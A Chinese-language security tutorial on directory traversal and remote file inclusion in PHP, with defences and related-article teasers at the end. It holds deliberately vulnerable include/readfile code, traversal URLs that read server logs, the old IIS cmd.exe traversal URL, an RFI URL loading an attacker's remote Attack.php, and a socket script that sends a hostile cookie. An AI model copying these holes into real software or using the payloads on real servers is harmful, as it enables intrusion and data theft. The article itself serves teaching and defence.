目录
0x1:目录穿越攻击
0x2:远程文件引入攻击
0x3:防范的方法
目录穿越攻击
目录穿越(Directory
Traversal)攻击是黑客能够在Web应用程序所在的根目录以外的文件夹上,任意地存取被限制的文件夹、执行命令或查找数据。目录穿越攻击,也有人称为Path
Traversal攻击。
为了避免使用者存取到服务器上未经许可的文件,服务器提供两个安全机制:
(1)根目录
(2)文件存取权限
这些安全措施是为了避免黑客执行可执行文件,如Windows系统上的cmd.exe文件,以及避免黑客存取重要的文件,如UNIX系统上的passwd密码文件。
但是黑客可以使用目录穿越攻击,来查找、执行或存取Web应用程序所在的根目录以外的文件夹。如果目录穿越攻击成功,黑客就可以执行破坏性的命令来攻击网站。
目录穿越攻击可能发生在Web应用程序上,也可能发生在Web服务器上。在Web应用程序上发生的目录穿越攻击,是因为Web应用程序要求使用者输入文件名。例如将使用者的账号作为保存文件
的名称,当使用者输入账号后,程序会立即查找并打开指定用户名为文件名的文件。
例如:openfile.php
<?php
if(isset($_GET["file"]))
{
@readfile("home/users/".$_GET["file"]);
}
?>
openfile.php文件会读取一个文件名称,这个文件名称由URL参数fie所提供。readfile函数会输出文件的内容,@操作符用来屏蔽错误信息。
将这个文件名称与目录字符串"home/users"进行结合后,就是在Web应用程序所在的根目录下的文件路径。
Web应用程序所在的根目录是:
C:\AppServ\www\
假设使用者输入的文件名称是data.txt,那么data.txt文件的完整路径是:
C:\AppServ\www\home\users\data.txt
data.txt内容:目录穿越攻击(Directory
Traversal
Attack)
现在在浏览器的地址栏中输入下列地址:
http://localhost/openfile.php?file=data.txt
浏览器显示结果如下:
目录穿越攻击(Directory
Traversal
Attack)
目录穿越攻击实例:
刚才是正常的输入文件名称,现在要开始执行目录穿越攻击。在浏览器的地址栏输入下列地址:
http://localhost/openfile.php?file=../../Apache2.2/logs/access.log
此时,文件访问路径就变成了:C:\AppServ\Apache2.2\logs\access.log
这表明要打开Apache服务器内的日志文件access.log!服务器日志文件access.log应该是只能让网站管理员查看,但是黑客利用目录穿越攻击,就能够随便地打开、查看,甚至执行网站内的绝密文件。
再来看一个例子:
Microsoft的IIS服务器在4.0/5.0版本的时候曾经发生目录穿越攻击,在浏览器的地址栏中输入下面的地址:
http://localhost/scripts/..%5c../Windows/System32/cmd.exe?/c+dir+c:\
执行Windows的cmd.exe文件,cmd.exe是Windows的命令行程序(cmdshell)。输入这个地址后,会执行"dir
c:\"命令来列出C:\目录中的所有文件。
在这个地址中,"%5c"是"\"字符的URL编码。IIS4.0/5.0没有将地址中特殊字符进行处理就直接显示,因此才会发生目录穿越攻击。
远程文件引入攻击(也叫远程文件调用(Remote
Inclusion))
如果将php.ini文件中的allow_url_fopen设置为On,就可以将远程文件的URL当做是本机的文件来处理。并且可以将远程文件的URL发送给readfile,fopen等函数来处理。
要加载文件时,使用include函数:
include
File_URL
远程文件引入攻击实例:
例如:include.php
<?php
if(isset($_GET["file"]))
{
@include($_GET["file"]);
readfile($_GET["file"]);
}
?>
include.php文件会读取一个文件名称,这个文件名称由URL参数file所提供。include语句会引入URL参数file所提供的文件名称,readfile函数会输出文件的内容,@用来屏蔽错误信息。
例如:beinclude.php
<?php
echo
"hello
milantgh";
?>
我们在浏览器输入:
http://localhost/include.php?file=http://localhost/beinclude.php
浏览器则显示:
hello
milantgh
黑客要执行远程文件引入攻击时,他会在自己的网站www.milantgh.com内建立具有攻击性的PHP文件Attack.php,然后使用:
http://localhost/include.php?file=http://www.milantgh.com/Attack.php
此时,目标网站就会加载黑客的Attack.php文件并执行Attack.php文件
远程文件引入攻击与目录穿越攻击结合:
例如:com1.php
<?php
if(isset($_GET["file"]))
{
@include("home/users/".$_GET["file"]);
}
?>
这是将远程文件调用攻击与目录穿越攻击结合来进行攻击的代码。
远程文件调用攻击手法是:
@include("home/users/".$_GET["file"]);
而目录穿越攻击所用手法是:
http://localhost/com1.php?file=../../Apache2.2/logs/access.log
二者结合来进行攻击,更能产生强大的破坏力。
远程文件引入攻击与HTTP响应拆分攻击结合:
例如:com2.php
<?php
$menufile="menu.php";
if(isset($_COOKIE["MENUFILE"]))
{
$menufile=$_COOKIE["MENUFILE"];
}
@include("home/users/".$menufile);
?>
com2.php文件原本的作用是要调用menu.php文件,但是如果设置cookie变量$_COOKIE["MENUFILE"]的话,就引入$_COOKIE["MENUFILE"]变量所指的文件。
黑客可以利用com2.php文件读取cookie变量$_COOKIE["MENUFILE"]的值,在HTTP请求中加入Cookie表头来设置$_COOKIE["MENUFILE"]的值。
HTTP请求
GET
/com2.php
HTTP/1.1
Cookie:MENUFILE=../../Apache2.2/logs/access.log
Host:localhost
由于$_COOKIE["MENUFILE"]的值被这个HTTP请求设置为:
Cookie:MENUFILE=../../Apache2.2/logs/access.log
因此,com2.php文件读取的不再是menu.php文件内容,而是Apache服务器的access.log文件的内容。
也可以不使用Windows的Telnet程序,而改用hack.php文件来提交HTTP请求:
hack.php文件如下:
<?php
//打开Internet
Socket连接
$fp=fsockopen("localhost",
80);
//写入HTTP请求的表头
fputs($fp, "GET /com2.php
HTTP/1.1\r\n");
fputs($fp,
"Cookie:MENUFILE=../../Apache2.2/logs/access.log\r\n");
fputs($fp,
"Host:localhost\r\n\r\n");
//HTTP响应的字符串
$http_response="";
while(!feof($fp))
{
//读取128个字节的HTTP响应字符串
$http_response=fgets($fp,
128);
}
//关闭Internet
Socket连接
fclose($fp);
//显示HTTP响应字符串
echo
nl2br(htmlentities($http_response));
?>
防范的方法
要防范目录穿越与远程文件调用攻击,可以使用下列方法:
(1)不要使用使用者提供的文件名
(2)检查使用者输入的文件名中是否有".."的目录级层的字符
(3)php.ini文件中设置open_basedir来指定可以打开文件的目录
(4)php.ini文件中设置allow_url_fopen为Off,来让Web应用程序不能打开远程文件
(5)realpath与basename函数来处理使用者输入的文件名
目录/文件攻击防范策略研究
时间: 2024-11-14 21:59:15
目录/文件攻击防范策略研究的相关文章
文件上传下载中的安全问题(上传漏洞与目录遍历攻击)
前言 文件上传与下载是项目中经常需要提供的功能,不管是哪个web应用几乎都可以找到.那本屌今天就来说一说我们在开发中的疏忽可能导致的问题. 先建立一个web工程,目录结构如下 文件上传漏洞 我们来看看下面这段文件上传代码,使用的是common-fileupload.jar 和common-io.jar UploadServlet.java 访问路径/UploadServlet /** * 文件上传 */ protected void doPost(HttpServletRequest reque
最新Zip压缩文件漏洞,黑客可以触发目录遍历攻击
近日,国内某安全公司研究人员透露了一个关键漏洞的详细信息,该漏洞影响了许多生态系统中的数千个项目,黑客可以利用这些漏洞在目标系统上实现代码执行. 黑客是如何通过Zip压缩文件入侵攻击?被称为"ZipSlip"的问题是一个任意的文件覆盖漏洞,在从档案文件中提取文件时触发目录遍历攻击,并影响包括tar,jar,war,cpio,apk,rar和7z在内的大量压缩文件. 用Google,Oracle,IBM,Apache,亚马逊,Spring/Pivotal,Linkedin,Twitter
HTTP Response Spliting 防范策略研究
目录0x1:HTTP请求的格式0x2:HTTP请求的方法0x3:HTTP响应的格式0x4:HTTP响应拆分攻击0x5:防范的方法HTTP请求的格式客户端所提出的HTTP请求包含下列信息:(1)请求信息(2)表头(3)一行空白行(4)信息正文(可有可无)例如:发送HTTP请求给服务器www.baidu.com:GET /index.html HTTP/1.1 //请求信息Host: www.baidu.com //表头 //空隔行 //回车HTTP请求
什么是目录遍历攻击及如何防护
前几日研究某Web项目源代码,使用的是ThinkPHP框架,根目录下有个www目录,存放项目模块的入口文件.顿时茫然,本人一般直接把入口文件放在web根目录,而这里却是www目录,不知www目录是何作用,遂问老大,老大回:你查查什么是目录遍历攻击.所以才懂得www目录之所以存在的目的... 描述 攻击人员通过目录便利攻击可以获取系统文件及服务器的配置文件等等.一般来说,他们利用服务器API.文件标准权限进行攻击.严格来说,目录遍历攻击并不是一种web漏洞,而是网站设计人员的设计“漏洞”.如果we
网络安全系列之三十六 目录遍历攻击
目录遍历攻击又称目录穿越.恶意浏览.文件泄露等,攻击者利用系统漏洞访问合法应用之外的数据或文件目录,导致数据泄露或被篡改. 比如我们之前一直使用的Web服务器平台NMPServer,它的网站主目录为C:\NMPServer\NPMserv\www,理论上讲网站的所有内容都应该位于这个主目录里,即使内容位于别的位置,也应该采用虚拟目录的形式将之链接到主目录中.作为客户端,当然也只能访问主目录中的内容.但是如果网站存在漏洞,那么客户端就可以突破主目录的限制,而去访问其他目录中(比如C:\Window
ci框架如何手动进行csrf攻击防范
0.修改application/config/$config.php文件中 $config['csrf_protection'] = false; 1.修改system/core/Security.php文件注释掉 function __construct()其中的第一行代码如下 //if (config_item('csrf_protection') === TRUE) 2.手动使用 1>controller 1 2 3 4 5 6 7 8 public function index() {
利用LNK进行的无文件攻击
前言 今日揭示一项众多APT组织常用的攻击手法---lnk攻击,因为该项攻击可以创建一个新的快捷方式作为间接手段,可以伪装使其看起来像一个合法的程序. 目录 0x00 什么是“无文件攻击” 0x01 LNK攻击剖析 0x02 案例分析 0x03 样本全家桶 0x04 参考链接 0x00 什么是“无文件攻击” 安全搞了这么久,好像经常有听到过APT的一些攻击手法,例如“鱼叉钓鱼”.“水坑攻击”等等.这里着重介绍下“无文件攻击”,这里的无文件攻击,并不是不带文件的攻击,通常是用来指恶意程序没有直接落
wwwscan网站目录文件批量扫描工具
准备一个比赛样题里面给的一个扫描的工具: 不知道怎么用就上网百度了一下果然有关于这个软件的两篇介绍(感觉写的很好),第一篇介绍的应该和我的工具一样,也给了例子(现在Google不能访问了)和参数介绍,第二篇作者可能自己"升级"过软件也提供了下载地址.但是有个问题是:我机器上跑感觉那些多进程.端口和超时等参数都是虚设的,我试验的结果是我的软件只要输入ip或域名就可以运行扫描. ps:直接copy 文章来源:http://blog.chinaunix.net/uid-26726420-id
Linux 是如何管理目录文件?
Linux 是使用级层式的树状结构来管理文件目录,如下图所示(只列出了部分目录文件): 在 Linux 中,所有的文件和目录都由根目录(/)开始.它是所有目录和文件的源头,然后再一个一个分支下去.所以我们表示一个目录文件就从根开始一级级写. 如上图的,rc.sysinit 文件,表示该文件的路径是: /etc/rc.d/rc.sysinit 我们系统查找文件也是从根目录开始一级级往下找的. 我们表示一个目录文件的位置有两种方式: 1. 绝对路径: 表示一个文件时,它的开头一般是"/"